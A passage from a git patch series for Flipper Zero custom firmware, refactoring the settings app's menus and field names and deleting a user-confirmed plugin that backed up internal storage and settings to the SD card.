if(*FrequencyList_ref(it) == value) { - FrequencyList_remove(app->subghz_static_frequencies, it); + FrequencyList_remove(app->subghz_static_freqs, it); } else { FrequencyList_next(it); } diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_start.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_start.c index f2a75cd1a..c6a776edc 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_start.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_start.c @@ -1,12 +1,10 @@ #include "../xtreme_app.h" enum VarItemListIndex { - VarItemListIndexGraphics, - VarItemListIndexMainmenu, - VarItemListIndexStatusbar, + VarItemListIndexInterface, VarItemListIndexProtocols, - VarItemListIndexDolphin, VarItemListIndexMisc, + VarItemListIndexVersion, }; void xtreme_app_scene_start_var_item_list_callback(void* context, uint32_t index) { @@ -18,13 +16,9 @@ void xtreme_app_scene_start_on_enter(void* context) { XtremeApp* app = context; VariableItemList* var_item_list = app->var_item_list; - variable_item_list_add(var_item_list, "Graphics", 0, NULL, app); - variable_item_list_add(var_item_list, "Mainmenu", 0, NULL, app); - variable_item_list_add(var_item_list, "Statusbar", 0, NULL, app); + variable_item_list_add(var_item_list, "Interface", 0, NULL, app); variable_item_list_add(var_item_list, "Protocols", 0, NULL, app); - variable_item_list_add(var_item_list, "Dolphin", 0, NULL, app); variable_item_list_add(var_item_list, "Misc", 0, NULL, app); - variable_item_list_add(var_item_list, furi_string_get_cstr(app->version_tag), 0, NULL, app); variable_item_list_set_enter_callback( @@ -44,21 +38,12 @@ bool xtreme_app_scene_start_on_event(void* context, SceneManagerEvent event) { scene_manager_set_scene_state(app->scene_manager, XtremeAppSceneStart, event.event); consumed = true; switch(event.event) { - case VarItemListIndexGraphics: - scene_manager_next_scene(app->scene_manager, XtremeAppSceneGraphics); - break; - case VarItemListIndexMainmenu: - scene_manager_next_scene(app->scene_manager, XtremeAppSceneMainmenu); - break; - case VarItemListIndexStatusbar: - scene_manager_next_scene(app->scene_manager, XtremeAppSceneStatusbar); + case VarItemListIndexInterface: + scene_manager_next_scene(app->scene_manager, XtremeAppSceneInterface); break; case VarItemListIndexProtocols: scene_manager_next_scene(app->scene_manager, XtremeAppSceneProtocols); break; - case VarItemListIndexDolphin: - scene_manager_next_scene(app->scene_manager, XtremeAppSceneDolphin); - break; case VarItemListIndexMisc: scene_manager_next_scene(app->scene_manager, XtremeAppSceneMisc); break; diff --git a/applications/main/xtreme_app/xtreme_app.c b/applications/main/xtreme_app/xtreme_app.c index bb3449f4a..3c985f72e 100644 --- a/applications/main/xtreme_app/xtreme_app.c +++ b/applications/main/xtreme_app/xtreme_app.c @@ -22,19 +22,15 @@ static bool xtreme_app_back_event_callback(void* context) { Stream* stream = file_stream_alloc(storage); if(file_stream_open(stream, XTREME_APPS_PATH, FSAM_READ_WRITE, FSOM_CREATE_ALWAYS)){ CharList_it_t it; - CharList_it(it, app->mainmenu_apps_paths); - for(uint i = 0; i < CharList_size(app->mainmenu_apps_paths); i++) { - stream_write_format(stream, "%s\n", *CharList_get(app->mainmenu_apps_paths, i)); + CharList_it(it, app->mainmenu_app_paths); + for(uint i = 0; i < CharList_size(app->mainmenu_app_paths); i++) { + stream_write_format(stream, "%s\n", *CharList_get(app->mainmenu_app_paths, i)); } } file_stream_close(stream); stream_free(stream); } - if(app->save_subghz) { - furi_hal_subghz_set_extend_settings(app->subghz_extend, app->subghz_bypass); - } - if(app->save_subghz_frequencies) { FlipperFormat* file = flipper_format_file_alloc(storage); do { @@ -54,33 +50,28 @@ static bool xtreme_app_back_event_callback(void* context) { if(!flipper_format_rewind(file)) break; while(flipper_format_delete_key(file, "Frequency")) ; - FrequencyList_it(it, app->subghz_static_frequencies); - for(uint i = 0; i < FrequencyList_size(app->subghz_static_frequencies); i++) { + FrequencyList_it(it, app->subghz_static_freqs); + for(uint i = 0; i < FrequencyList_size(app->subghz_static_freqs); i++) { flipper_format_write_uint32( - file, "Frequency", FrequencyList_get(app->subghz_static_frequencies, i), 1); + file, "Frequency", FrequencyList_get(app->subghz_static_freqs, i), 1); } if(!flipper_format_rewind(file)) break; while(flipper_format_delete_key(file, "Hopper_frequency")) ; - for(uint i = 0; i < FrequencyList_size(app->subghz_hopper_frequencies); i++) { + for(uint i = 0; i < FrequencyList_size(app->subghz_hopper_freqs); i++) { flipper_format_write_uint32( file, "Hopper_frequency", - FrequencyList_get(app->subghz_hopper_frequencies, i), + FrequencyList_get(app->subghz_hopper_freqs, i), 1); } } while(false); flipper_format_free(file); } - if(app->save_level) { - Dolphin* dolphin = furi_record_open(RECORD_DOLPHIN); - int xp = app->dolphin_level > 1 ? dolphin_get_levels()[app->dolphin_level - 2] : 0; - dolphin->state->data.icounter = xp + 1; - dolphin->state->dirty = true; - dolphin_state_save(dolphin->state); - furi_record_close(RECORD_DOLPHIN); + if(app->save_subghz) { + furi_hal_subghz_set_extend_settings(app->subghz_extend, app->subghz_bypass); } if(app->save_name) { @@ -114,6 +105,15 @@ static bool xtreme_app_back_event_callback(void* context) { } } + if(app->save_level) { + Dolphin* dolphin = furi_record_open(RECORD_DOLPHIN); + int32_t xp = app->xp_level > 1 ? dolphin_get_levels()[app->xp_level - 2] : 0; + dolphin->state->data.icounter = xp + 1; + dolphin->state->dirty = true; + dolphin_state_save(dolphin->state); + furi_record_close(RECORD_DOLPHIN); + } + if(app->save_settings) { XTREME_SETTINGS_SAVE(); } @@ -171,8 +171,8 @@ XtremeApp* xtreme_app_alloc() { XtremeSettings* xtreme_settings = XTREME_SETTINGS(); - app->asset_pack = 0; - CharList_init(app->asset_packs); + app->asset_pack_index = 0; + CharList_init(app->asset_pack_names); Storage* storage = furi_record_open(RECORD_STORAGE); File* folder = storage_file_alloc(storage); FileInfo info; @@ -184,18 +184,18 @@ XtremeApp* xtreme_app_alloc() { strlcpy(copy, name, MAX_PACK_NAME_LEN); uint idx = 0; if(strcmp(copy, "NSFW") != 0) { - for(; idx < CharList_size(app->asset_packs); idx++) { - char* comp = *CharList_get(app->asset_packs, idx); + for(; idx < CharList_size(app->asset_pack_names); idx++) { + char* comp = *CharList_get(app->asset_pack_names, idx); if(strcasecmp(copy, comp) < 0 && strcmp(comp, "NSFW") != 0) { break; } } } - CharList_push_at(app->asset_packs, idx, copy); - if(app->asset_pack != 0) { - if(idx < app->asset_pack) app->asset_pack++; + CharList_push_at(app->asset_pack_names, idx, copy); + if(app->asset_pack_index != 0) { + if(idx < app->asset_pack_index) app->asset_pack_index++; } else { - if(strcmp(copy, xtreme_settings->asset_pack) == 0) app->asset_pack = idx + 1; + if(strcmp(copy, xtreme_settings->asset_pack) == 0) app->asset_pack_index = idx + 1; } } } @@ -203,17 +203,17 @@ XtremeApp* xtreme_app_alloc() { free(name); storage_file_free(folder); - CharList_init(app->mainmenu_apps_names); - CharList_init(app->mainmenu_apps_paths); + CharList_init(app->mainmenu_app_names); + CharList_init(app->mainmenu_app_paths); Stream* stream = file_stream_alloc(storage); FuriString* line = furi_string_alloc(); if(file_stream_open(stream, XTREME_APPS_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) { while(stream_read_line(stream, line)) { furi_string_replace_all(line, "\r", ""); furi_string_replace_all(line, "\n", ""); - CharList_push_back(app->mainmenu_apps_paths, strdup(furi_string_get_cstr(line))); + CharList_push_back(app->mainmenu_app_paths, strdup(furi_string_get_cstr(line))); fap_loader_load_name_and_icon(line, storage, NULL, line); - CharList_push_back(app->mainmenu_apps_names, strdup(furi_string_get_cstr(line))); + CharList_push_back(app->mainmenu_app_names, strdup(furi_string_get_cstr(line))); } } furi_string_free(line); @@ -221,8 +221,8 @@ XtremeApp* xtreme_app_alloc() { stream_free(stream); FlipperFormat* file = flipper_format_file_alloc(storage); - FrequencyList_init(app->subghz_static_frequencies); - FrequencyList_init(app->subghz_hopper_frequencies); + FrequencyList_init(app->subghz_static_freqs); + FrequencyList_init(app->subghz_hopper_freqs); app->subghz_use_defaults = true; do { uint32_t temp; @@ -233,14 +233,14 @@ XtremeApp* xtreme_app_alloc() { if(!flipper_format_rewind(file)) break; while(flipper_format_read_uint32(file, "Frequency", &temp, 1)) { if(furi_hal_subghz_is_frequency_valid(temp)) { - FrequencyList_push_back(app->subghz_static_frequencies, temp); + FrequencyList_push_back(app->subghz_static_freqs, temp); } } if(!flipper_format_rewind(file)) break; while(flipper_format_read_uint32(file, "Hopper_frequency", &temp, 1)) { if(furi_hal_subghz_is_frequency_valid(temp)) { - FrequencyList_push_back(app->subghz_hopper_frequencies, temp); + FrequencyList_push_back(app->subghz_hopper_freqs, temp); } } } while(false); @@ -249,13 +249,13 @@ XtremeApp* xtreme_app_alloc() { furi_hal_subghz_get_extend_settings(&app->subghz_extend, &app->subghz_bypass); + strlcpy(app->device_name, furi_hal_version_get_name_ptr(), NAMECHANGER_TEXT_STORE_SIZE); + Dolphin* dolphin = furi_record_open(RECORD_DOLPHIN); DolphinStats stats = dolphin_stats(dolphin); - app->dolphin_level = stats.level; + app->xp_level = stats.level; furi_record_close(RECORD_DOLPHIN); - strlcpy(app->device_name, furi_hal_version_get_name_ptr(), NAMECHANGER_TEXT_STORE_SIZE); - app->version_tag = furi_string_alloc_printf("%s %s", version_get_version(NULL), version_get_builddate(NULL)); @@ -280,21 +280,22 @@ void xtreme_app_free(XtremeApp* app) { // Settings deinit CharList_it_t it; - for(CharList_it(it, app->asset_packs); !CharList_end_p(it); CharList_next(it)) { + for(CharList_it(it, app->asset_pack_names); !CharList_end_p(it); CharList_next(it)) { free(*CharList_cref(it)); } - CharList_clear(app->asset_packs); - for(CharList_it(it, app->mainmenu_apps_names); !CharList_end_p(it); CharList_next(it)) { - free(*CharList_cref(it)); - } - CharList_clear(app->mainmenu_apps_names); - for(CharList_it(it, app->mainmenu_apps_paths); !CharList_end_p(it); CharList_next(it)) { - free(*CharList_cref(it)); - } - CharList_clear(app->mainmenu_apps_paths); + CharList_clear(app->asset_pack_names); - FrequencyList_clear(app->subghz_static_frequencies); - FrequencyList_clear(app->subghz_hopper_frequencies); + for(CharList_it(it, app->mainmenu_app_names); !CharList_end_p(it); CharList_next(it)) { + free(*CharList_cref(it)); + } + CharList_clear(app->mainmenu_app_names); + for(CharList_it(it, app->mainmenu_app_paths); !CharList_end_p(it); CharList_next(it)) { + free(*CharList_cref(it)); + } + CharList_clear(app->mainmenu_app_paths); + + FrequencyList_clear(app->subghz_static_freqs); + FrequencyList_clear(app->subghz_hopper_freqs); furi_string_free(app->version_tag); diff --git a/applications/main/xtreme_app/xtreme_app.h b/applications/main/xtreme_app/xtreme_app.h index 69834039a..b7946c44d 100644 --- a/applications/main/xtreme_app/xtreme_app.h +++ b/applications/main/xtreme_app/xtreme_app.h @@ -36,27 +36,29 @@ typedef struct { VariableItemList* var_item_list; TextInput* text_input; Popup* popup; - uint asset_pack; - CharList_t asset_packs; - CharList_t mainmenu_apps_names; - CharList_t mainmenu_apps_paths; + + CharList_t asset_pack_names; + uint8_t asset_pack_index; + CharList_t mainmenu_app_names; + CharList_t mainmenu_app_paths; uint8_t mainmenu_app_index; bool subghz_use_defaults; - FrequencyList_t subghz_static_frequencies; + FrequencyList_t subghz_static_freqs; uint8_t subghz_static_index; - FrequencyList_t subghz_hopper_frequencies; + FrequencyList_t subghz_hopper_freqs; uint8_t subghz_hopper_index; char subghz_freq_buffer[XTREME_SUBGHZ_FREQ_BUFFER_SIZE]; bool subghz_extend; bool subghz_bypass; - int dolphin_level; char device_name[NAMECHANGER_TEXT_STORE_SIZE]; + int32_t xp_level; FuriString* version_tag; + bool save_mainmenu_apps; - bool save_subghz; bool save_subghz_frequencies; - bool save_level; + bool save_subghz; bool save_name; + bool save_level; bool save_settings; bool require_reboot; } XtremeApp; diff --git a/applications/services/xtreme/settings.c b/applications/services/xtreme/settings.c index c52db66c9..61d9294f8 100644 --- a/applications/services/xtreme/settings.c +++ b/applications/services/xtreme/settings.c @@ -44,11 +44,11 @@ void XTREME_SETTINGS_LOAD() { xtreme_settings->status_icons = true; // ON xtreme_settings->bar_borders = true; // ON xtreme_settings->bar_background = false; // OFF + xtreme_settings->sort_dirs_first = true; // ON + xtreme_settings->dark_mode = false; // OFF xtreme_settings->bad_bt = false; // USB xtreme_settings->bad_bt_remember = false; // OFF xtreme_settings->butthurt_timer = 43200; // 12 H - xtreme_settings->sort_dirs_first = true; // ON - xtreme_settings->dark_mode = false; // OFF } } } diff --git a/applications/services/xtreme/settings.h b/applications/services/xtreme/settings.h index 295c8b2c4..e61984e0c 100644 --- a/applications/services/xtreme/settings.h +++ b/applications/services/xtreme/settings.h @@ -15,16 +15,13 @@ extern "C" { #define MAX_PACK_NAME_LEN 32 -#define XTREME_SETTINGS_VERSION (6) +#define XTREME_SETTINGS_VERSION (7) #define XTREME_SETTINGS_PATH_OLD INT_PATH(XTREME_SETTINGS_FILE_NAME) #define XTREME_SETTINGS_PATH EXT_PATH(XTREME_SETTINGS_FILE_NAME) #define XTREME_SETTINGS_MAGIC (0x69) #define XTREME_APPS_PATH EXT_PATH(XTREME_APPS_FILE_NAME) -// Some settings function backwards (logically) in -// order to fit the default value we want -// (values will default to 0 / false) typedef struct { char asset_pack[MAX_PACK_NAME_LEN]; uint16_t anim_speed; @@ -35,11 +32,11 @@ typedef struct { bool status_icons; bool bar_borders; bool bar_background; + bool sort_dirs_first; + bool dark_mode; bool bad_bt; bool bad_bt_remember; int32_t butthurt_timer; - bool sort_dirs_first; - bool dark_mode; } XtremeSettings; XtremeSettings* XTREME_SETTINGS(); From 8c5b18c7ef21d45fe3ff023fc8094a3dced012c7 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 16 Mar 2023 00:50:24 +0000 Subject: [PATCH 118/329] Remove dolphin backup and restorer --- .../plugins/dolphinbackup/application.fam | 12 -- .../plugins/dolphinbackup/bckupIcon.png | Bin 1954 -> 0 bytes .../scenes/storage_DolphinBackup_scene.c | 30 --- .../scenes/storage_DolphinBackup_scene.h | 29 --- .../storage_DolphinBackup_scene_config.h | 2 - .../storage_DolphinBackup_scene_confirm.c | 71 ------- .../storage_DolphinBackup_scene_progress.c | 31 --- .../dolphinbackup/storage_DolphinBackup.c | 197 ------------------ .../dolphinbackup/storage_DolphinBackup.h | 49 ----- .../plugins/dolphinrestorer/application.fam | 12 -- .../plugins/dolphinrestorer/drestorer.c | 176 ---------------- .../plugins/dolphinrestorer/drestorer.h | 49 ----- .../plugins/dolphinrestorer/restoreIcon.png | Bin 1960 -> 0 bytes .../dolphinrestorer/scenes/drestorer_scene.c | 30 --- .../dolphinrestorer/scenes/drestorer_scene.h | 29 --- .../scenes/drestorer_scene_config.h | 2 - .../scenes/drestorer_scene_confirm.c | 60 ------ .../scenes/drestorer_scene_progress.c | 31 --- .../dolphin_restorer/.dolphin.state.bak | Bin 40 -> 0 bytes 19 files changed, 810 deletions(-) delete mode 100644 applications/plugins/dolphinbackup/application.fam delete mode 100644 applications/plugins/dolphinbackup/bckupIcon.png delete mode 100644 applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene.c delete mode 100644 applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene.h delete mode 100644 applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_config.h delete mode 100644 applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_confirm.c delete mode 100644 applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_progress.c delete mode 100644 applications/plugins/dolphinbackup/storage_DolphinBackup.c delete mode 100644 applications/plugins/dolphinbackup/storage_DolphinBackup.h delete mode 100644 applications/plugins/dolphinrestorer/application.fam delete mode 100644 applications/plugins/dolphinrestorer/drestorer.c delete mode 100644 applications/plugins/dolphinrestorer/drestorer.h delete mode 100644 applications/plugins/dolphinrestorer/restoreIcon.png delete mode 100644 applications/plugins/dolphinrestorer/scenes/drestorer_scene.c delete mode 100644 applications/plugins/dolphinrestorer/scenes/drestorer_scene.h delete mode 100644 applications/plugins/dolphinrestorer/scenes/drestorer_scene_config.h delete mode 100644 applications/plugins/dolphinrestorer/scenes/drestorer_scene_confirm.c delete mode 100644 applications/plugins/dolphinrestorer/scenes/drestorer_scene_progress.c delete mode 100644 assets/resources/dolphin_restorer/.dolphin.state.bak diff --git a/applications/plugins/dolphinbackup/application.fam b/applications/plugins/dolphinbackup/application.fam deleted file mode 100644 index 166f9a22b..000000000 --- a/applications/plugins/dolphinbackup/application.fam +++ /dev/null @@ -1,12 +0,0 @@ -App( - appid="DolphinBackup", - name="Dolphin Backup", - apptype=FlipperAppType.EXTERNAL, - entry_point="storage_DolphinBackup_app", - cdefines=["APP_DBACKUP"], - requires=["gui", "storage"], - stack_size=2 * 1024, - order=85, - fap_icon="bckupIcon.png", - fap_category="Tools", -) diff --git a/applications/plugins/dolphinbackup/bckupIcon.png b/applications/plugins/dolphinbackup/bckupIcon.png deleted file mode 100644 index 3f3d48c58616ee52223659b15ddd0a87e8fa0d42..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1954 zcmcIl&2Jk;6yK_)v?)2j1w;|7wh{u-@qXC*DZ9amO=GDWqSPhn0m1Cdti6i8v+QnS zCkG_Baq8c|g#$>DI3OXApcUeT1QP!O7mzAINKvGG_N~`;jTBN}uw?Jf^PAuMz4v}^ z=9A^6o3k@7&Ip1q+gPlvz%zTFxpW?Wzj-)!4<6@|m7DXz&d)FX0gDT*s#_I=FYjGB z#81Kc>hi5-{p952=;-M9_!ta(dwT~52Zx7;ySuyl`}?21`!@mWE7Gz%IcilT_7T~Iwk$EJN<)D%sV6+>2wNHv|3;ix5X_>mx*RxIe^YpX#>c`tcAV>H~rYB*&TDeE3mY^3T<)o>KuDQa&hMMqI`R~H09 zaf+vN<}~oPrg3#$rx7M84hd`2DiV+?1OasvucT`w3nNSSO31QH6xq5`M7XH>rm9nu zl*oV=?5}aMkyRqwpX--$0vO|JI)2NR~@2y_B*phpLjYz!(A$@IW}qIu*Kk{ zg$bNYtSo0|(qz}l^63pOKbFf#a#a|HOa;kAr3NaP$E^v|SOqsm`oy?MZH-`L8dee6 zTFFF~uXu=1U!$6-64N(wW}RRHC^t=lm*pq3%6Cm1!vn - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) StorageDolphinBackup##id, -typedef enum { -#include "storage_DolphinBackup_scene_config.h" - StorageDolphinBackupSceneNum, -} StorageDolphinBackupScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers storage_DolphinBackup_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "storage_DolphinBackup_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "storage_DolphinBackup_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "storage_DolphinBackup_scene_config.h" -#undef ADD_SCENE diff --git a/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_config.h b/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_config.h deleted file mode 100644 index 270810ffd..000000000 --- a/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_config.h +++ /dev/null @@ -1,2 +0,0 @@ -ADD_SCENE(storage_DolphinBackup, confirm, Confirm) -ADD_SCENE(storage_DolphinBackup, progress, Progress) diff --git a/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_confirm.c b/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_confirm.c deleted file mode 100644 index 6e5c16d66..000000000 --- a/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_confirm.c +++ /dev/null @@ -1,71 +0,0 @@ -#include "../storage_DolphinBackup.h" -#include "gui/canvas.h" -#include "gui/modules/widget_elements/widget_element_i.h" -#include "storage/storage.h" - -static void storage_DolphinBackup_scene_confirm_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - StorageDolphinBackup* app = context; - furi_assert(app); - if(type == InputTypeShort) { - if(result == GuiButtonTypeRight) { - view_dispatcher_send_custom_event( - app->view_dispatcher, DolphinBackupCustomEventConfirm); - } else if(result == GuiButtonTypeLeft) { - view_dispatcher_send_custom_event(app->view_dispatcher, DolphinBackupCustomEventExit); - } - } -} - -void storage_DolphinBackup_scene_confirm_on_enter(void* context) { - StorageDolphinBackup* app = context; - - widget_add_button_element( - app->widget, - GuiButtonTypeLeft, - "Cancel", - storage_DolphinBackup_scene_confirm_widget_callback, - app); - widget_add_button_element( - app->widget, - GuiButtonTypeRight, - "Confirm", - storage_DolphinBackup_scene_confirm_widget_callback, - app); - - widget_add_string_element( - app->widget, 64, 10, AlignCenter, AlignCenter, FontPrimary, "SD Card Present"); - widget_add_string_multiline_element( - app->widget, - 64, - 32, - AlignCenter, - AlignCenter, - FontSecondary, - "Copy data from\ninternal storage to SD card?"); - - view_dispatcher_switch_to_view(app->view_dispatcher, StorageDolphinBackupViewWidget); -} - -bool storage_DolphinBackup_scene_confirm_on_event(void* context, SceneManagerEvent event) { - StorageDolphinBackup* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == DolphinBackupCustomEventConfirm) { - scene_manager_next_scene(app->scene_manager, StorageDolphinBackupProgress); - consumed = true; - } else if(event.event == DolphinBackupCustomEventExit) { - view_dispatcher_stop(app->view_dispatcher); - } - } - - return consumed; -} - -void storage_DolphinBackup_scene_confirm_on_exit(void* context) { - StorageDolphinBackup* app = context; - widget_reset(app->widget); -} diff --git a/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_progress.c b/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_progress.c deleted file mode 100644 index 6a5ffd9c1..000000000 --- a/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_progress.c +++ /dev/null @@ -1,31 +0,0 @@ -#include "../storage_DolphinBackup.h" - -void storage_DolphinBackup_scene_progress_on_enter(void* context) { - StorageDolphinBackup* app = context; - - widget_add_string_element( - app->widget, 64, 10, AlignCenter, AlignCenter, FontPrimary, "Moving..."); - - view_dispatcher_switch_to_view(app->view_dispatcher, StorageDolphinBackupViewWidget); - - storage_DolphinBackup_perform(); - view_dispatcher_send_custom_event(app->view_dispatcher, DolphinBackupCustomEventExit); -} - -bool storage_DolphinBackup_scene_progress_on_event(void* context, SceneManagerEvent event) { - StorageDolphinBackup* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - view_dispatcher_stop(app->view_dispatcher); - } else if(event.type == SceneManagerEventTypeBack) { - consumed = true; - } - - return consumed; -} - -void storage_DolphinBackup_scene_progress_on_exit(void* context) { - StorageDolphinBackup* app = context; - widget_reset(app->widget); -} diff --git a/applications/plugins/dolphinbackup/storage_DolphinBackup.c b/applications/plugins/dolphinbackup/storage_DolphinBackup.c deleted file mode 100644 index 7e7bd8f36..000000000 --- a/applications/plugins/dolphinbackup/storage_DolphinBackup.c +++ /dev/null @@ -1,197 +0,0 @@ -#include "storage_DolphinBackup.h" -#include -#include -#include "loader/loader.h" -#include "m-string.h" -#include - -#define TAG "DolphinBackup" - -#define MOVE_SRC "/int" -#define MOVE_DST "/ext" - -static const char* app_dirsDolphinBackup[] = { - "subghz", - "lfrfid", - "nfc", - "infrared", - "ibutton", - "badkb", - ".bt.settings", - ".desktop.settings", - ".dolphin.state", - ".notification.settings", - ".bt.keys", - ".power.settings", -}; - -bool storage_DolphinBackup_perform(void) { - Storage* storage = furi_record_open(RECORD_STORAGE); - FuriString* path_src; - FuriString* path_dst; - FuriString* new_path; - path_src = furi_string_alloc(); - path_dst = furi_string_alloc(); - new_path = furi_string_alloc(); - - furi_string_printf(new_path, "%s/dolphin_restorer", MOVE_DST); - storage_common_mkdir(storage, furi_string_get_cstr(new_path)); - furi_string_free(new_path); - for(uint32_t i = 0; i < COUNT_OF(app_dirsDolphinBackup); i++) { - if(i > 5) { - furi_string_printf(path_src, "%s/%s", MOVE_SRC, app_dirsDolphinBackup[i]); - furi_string_printf( - path_dst, "%s/dolphin_restorer/%s", MOVE_DST, app_dirsDolphinBackup[i]); - storage_simply_remove_recursive(storage, furi_string_get_cstr(path_dst)); - storage_common_copy( - storage, furi_string_get_cstr(path_src), furi_string_get_cstr(path_dst)); - } else { - furi_string_printf(path_src, "%s/%s", MOVE_SRC, app_dirsDolphinBackup[i]); - furi_string_printf(path_dst, "%s/%s", MOVE_DST, app_dirsDolphinBackup[i]); - storage_common_merge( - storage, furi_string_get_cstr(path_src), furi_string_get_cstr(path_dst)); - storage_simply_remove_recursive(storage, furi_string_get_cstr(path_src)); - } - } - - furi_string_free(path_src); - furi_string_free(path_dst); - - furi_record_close(RECORD_STORAGE); - - return false; -} - -static bool storage_DolphinBackup_check(void) { - Storage* storage = furi_record_open(RECORD_STORAGE); - - FileInfo file_info; - bool state = false; - FuriString* path; - path = furi_string_alloc(); - - for(uint32_t i = 0; i < COUNT_OF(app_dirsDolphinBackup); i++) { - furi_string_printf(path, "%s/%s", MOVE_SRC, app_dirsDolphinBackup[i]); - if(storage_common_stat(storage, furi_string_get_cstr(path), &file_info) == FSE_OK) { - // if((file_info.flags & FSF_DIRECTORY) != 0) { - state = true; - break; - // } - } - } - - furi_string_free(path); - - furi_record_close(RECORD_STORAGE); - - return state; -} - -static bool storage_DolphinBackup_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - StorageDolphinBackup* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool storage_DolphinBackup_back_event_callback(void* context) { - furi_assert(context); - StorageDolphinBackup* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void storage_DolphinBackup_unmount_callback(const void* message, void* context) { - StorageDolphinBackup* app = context; - furi_assert(app); - const StorageEvent* storage_event = message; - - if((storage_event->type == StorageEventTypeCardUnmount) || - (storage_event->type == StorageEventTypeCardMountError)) { - view_dispatcher_send_custom_event(app->view_dispatcher, DolphinBackupCustomEventExit); - } -} - -static StorageDolphinBackup* storage_DolphinBackup_alloc() { - StorageDolphinBackup* app = malloc(sizeof(StorageDolphinBackup)); - - app->gui = furi_record_open(RECORD_GUI); - app->notifications = furi_record_open(RECORD_NOTIFICATION); - - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&storage_DolphinBackup_scene_handlers, app); - - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, storage_DolphinBackup_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, storage_DolphinBackup_back_event_callback); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - app->widget = widget_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, StorageDolphinBackupViewWidget, widget_get_view(app->widget)); - - scene_manager_next_scene(app->scene_manager, StorageDolphinBackupConfirm); - - Storage* storage = furi_record_open(RECORD_STORAGE); - app->sub = furi_pubsub_subscribe( - storage_get_pubsub(storage), storage_DolphinBackup_unmount_callback, app); - furi_record_close(RECORD_STORAGE); - - return app; -} - -static void storage_DolphinBackup_free(StorageDolphinBackup* app) { - Storage* storage = furi_record_open(RECORD_STORAGE); - furi_pubsub_unsubscribe(storage_get_pubsub(storage), app->sub); - furi_record_close(RECORD_STORAGE); - furi_record_close(RECORD_NOTIFICATION); - - view_dispatcher_remove_view(app->view_dispatcher, StorageDolphinBackupViewWidget); - widget_free(app->widget); - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - furi_record_close(RECORD_GUI); - - free(app); -} - -int32_t storage_DolphinBackup_app(void* p) { - UNUSED(p); - - if(storage_DolphinBackup_check()) { - StorageDolphinBackup* app = storage_DolphinBackup_alloc(); - notification_message(app->notifications, &sequence_display_backlight_on); - view_dispatcher_run(app->view_dispatcher); - storage_DolphinBackup_free(app); - } else { - FURI_LOG_I(TAG, "Nothing to move"); - } - - return 0; -} - -static void storage_DolphinBackup_mount_callback(const void* message, void* context) { - UNUSED(context); - - const StorageEvent* storage_event = message; - - if(storage_event->type == StorageEventTypeCardMount) { - Loader* loader = furi_record_open("loader"); - loader_start(loader, "StorageDolphinBackup", NULL); - furi_record_close("loader"); - } -} - -int32_t storage_DolphinBackup_start(void* p) { - UNUSED(p); - Storage* storage = furi_record_open(RECORD_STORAGE); - - furi_pubsub_subscribe(storage_get_pubsub(storage), storage_DolphinBackup_mount_callback, NULL); - - furi_record_close(RECORD_STORAGE); - return 0; -} diff --git a/applications/plugins/dolphinbackup/storage_DolphinBackup.h b/applications/plugins/dolphinbackup/storage_DolphinBackup.h deleted file mode 100644 index f9ff74a65..000000000 --- a/applications/plugins/dolphinbackup/storage_DolphinBackup.h +++ /dev/null @@ -1,49 +0,0 @@ -#pragma once -#include "gui/modules/widget_elements/widget_element_i.h" -#include -#include -#include -#include -#include -#include - -#include -#include - -#include -#include - -#include "scenes/storage_DolphinBackup_scene.h" - -#ifdef __cplusplus -extern "C" { -#endif - -typedef enum { - DolphinBackupCustomEventExit, - DolphinBackupCustomEventConfirm, -} DolphinBackupCustomEvent; - -typedef struct { - // records - Gui* gui; - Widget* widget; - NotificationApp* notifications; - - // view managment - SceneManager* scene_manager; - ViewDispatcher* view_dispatcher; - - FuriPubSubSubscription* sub; - -} StorageDolphinBackup; - -typedef enum { - StorageDolphinBackupViewWidget, -} StorageDolphinBackupView; - -bool storage_DolphinBackup_perform(void); - -#ifdef __cplusplus -} -#endif diff --git 